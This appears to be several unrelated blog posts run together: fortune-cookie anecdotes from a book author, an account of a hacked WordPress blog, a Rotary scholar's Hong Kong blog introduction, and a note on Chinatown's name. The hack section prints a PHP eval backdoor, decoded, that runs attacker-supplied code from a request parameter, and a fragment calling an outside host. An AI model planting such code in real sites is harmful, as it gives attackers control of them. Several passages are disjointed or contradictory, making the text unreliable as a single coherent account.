Often times, they would put the cookies in their mouth, and then be surprised when they found a piece of paper either in their mouth or in a cookie.

Fortune cookies are not intuitive. This was confirmed when I was in Beijing and discovered a woman named Nana Shi who was making fortune cookies in China. But she too put instructions on the red wrapper telling people to break the cookie before eating them because they were necessary.

How to Open A Fortune Cookie

Otherwise, this is what happens:

Americans find high emotional attachment to the slips inside their cookies, looking to them for winning lottery numbers and becoming upset when the fortunes inside are unfortunate. The Chinese, on the other hand, would often tell me after trying the curved vanilla-flavored wafers, “Americans are so strange, why are they putting pieces of paper in their cookies?”

More surprising to me: That fortune cookies have made their way to Greece.

This piece that actually was initially discussed during the March release of my book. But they decided to peg it to the Olympics. It shows that it pays to be patient.

At first I thought, are either me or my book passed from this work? Then I realized it was in memory of Margaret A. Westwood from The Pontious Family . Maybe she liked Chinese food?

So today, it all became clear. Turned out I had been hacked, perhaps it had to do with some Wordpress vulerability.  I felt really violated.

Anyway, in my templates. I went and looked in my header.php file on Wordpress I was horrified to find something that started with this

<?php eval(base64_decode(”aWYoQCRfUkVRVUVTVFsiQSJdID09ICJiIiBhbmQ…

Which is a “code” for normal text. Decoded it became this:

if(@$_REQUEST["A"] == “b” and isset($_REQUEST["C"])) eval(stripslashes(stripslashes($_REQUEST["C"])));

Which totally was sketchy. I also found anther one, which I couldn’t decompress by myself

<?eval(gzuncompress(base64_decode(’eJx1kMFqwzAMhl/FE2bEEJz0NmZCF6hp…

That came to this:

$path=”/blog”;@$s = fsockopen (”pub.supercyborg.info“,80);fputs($s,
“GET /c/check.php?ua=”.urlencode($_

I removed these and the spam was still there! And also, I switched out theme, and it was still there. So it had to be in the Wordpress files.

And we had just done a Wordpress upgrade so all of the files had been recently updated — so we couldn’t look at timestamps to figure out which files had been touched. But you could do a search for the base64 phrase. It turned out that some of the Wordpress files themselves had been infected, like wp-functions.php And then another one of my files template-functions-comments.php was the one with all the bad things in it.

(blah). But luckily I have adorable high-quality tech help which purged it for me. I’m eternally grateful!

This blog will track my year-long experience in HK as a Rotary Ambassadorial Scholar and HKU graduate student. Although this is the longest and farthest I’ve ever been from home, I am very much looking forward to the unpredictable days ahead! I hope you enjoy reading about my adventures as much as I undoubtedly enjoy experiencing them. I also want to express a special thank you to the Columbia Capital Rotary Club in Columbia, SC for sponsoring me and making this incredible opportunity possible.

I’m oddly flattered that the title of my book has been appropriated.

I was in Beijing and I saw a mall called Chinatown — 唐人街 (tangrenjie). 唐 refers to the Tang Dynasty, still considered the glory years in Chinese history. So Chinese people are sometimes referred to as 唐人, and 街 is street. So it’s Tang Person’s Street. There is no consistent name for Chinatown in Chinese. In New York City, at Canal Street, the sign says 华埠 (huabu)

But I think it’s cute that they have Chinatown in Chinacountry!

I swear, fortune cookies and “man date” are going to be part of my obituary, or at the very least the college reunion report.